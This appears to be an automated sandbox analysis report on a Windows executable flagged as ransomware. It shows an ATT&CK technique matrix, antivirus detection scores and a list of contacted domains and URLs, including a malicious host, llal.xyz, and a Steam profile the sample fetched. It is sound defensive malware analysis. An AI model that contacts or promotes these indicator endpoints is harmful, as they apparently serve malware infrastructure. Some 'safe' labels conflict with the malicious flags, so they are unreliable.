Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
OXoeX1Ii3x.exe	53%	Virustotal		Browse
OXoeX1Ii3x.exe	68%	ReversingLabs	Win32.Ransomware.Generic
OXoeX1Ii3x.exe	100%	Avira	TR/AVI.Ransom.faqrc
OXoeX1Ii3x.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d	0%	Avira URL Cloud	safe
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842dy	0%	Avira URL Cloud	safe
https://community.fastly4	0%	Avira URL Cloud	safe
https://llal.xyz/	0%	Avira URL Cloud	safe
https://llal.xyz	0%	Avira URL Cloud	safe
https://llal.xyzuser	0%	Avira URL Cloud	safe
https://api.steampowerW	0%	Avira URL Cloud	safe
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d3	0%	Avira URL Cloud	safe
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842db	0%	Avira URL Cloud	safe
https://https://t.me/asdfghjrrewqqqqtfg/ujs/WorldHellostrwvfncexGostrbrCHbrGkunknownftpac/Up/gltype	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	false		high
llal.xyz	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199619938930	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://player.vimeo.com	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly4	OXoeX1Ii3x.exe, 00000000.00000002.2505872324.000000000313A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199619938930/inventory/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/?subsection=broadcasts	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/subscriber_agreement/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://www.gstatic.cn/recaptcha/	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199619938930HS	OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199619938930QC	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://www.youtube.com	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199619938930	76561199619938930[1].htm.0.dr	false		high
https://www.google.com	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842dy	OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199619938930AC	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://s.ytimg.com;	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199619938930~	OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
http://store.steampowered.com/privacy_agreement/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/points/shop/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://sketchfab.com	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.	OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://llal.xyz/	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199619938930yB	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://www.google.com/recaptcha/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://llal.xyz	OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/my/wishlist/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://help.steampowered.com/en/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/market/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/news/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://llal.xyzuser	OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
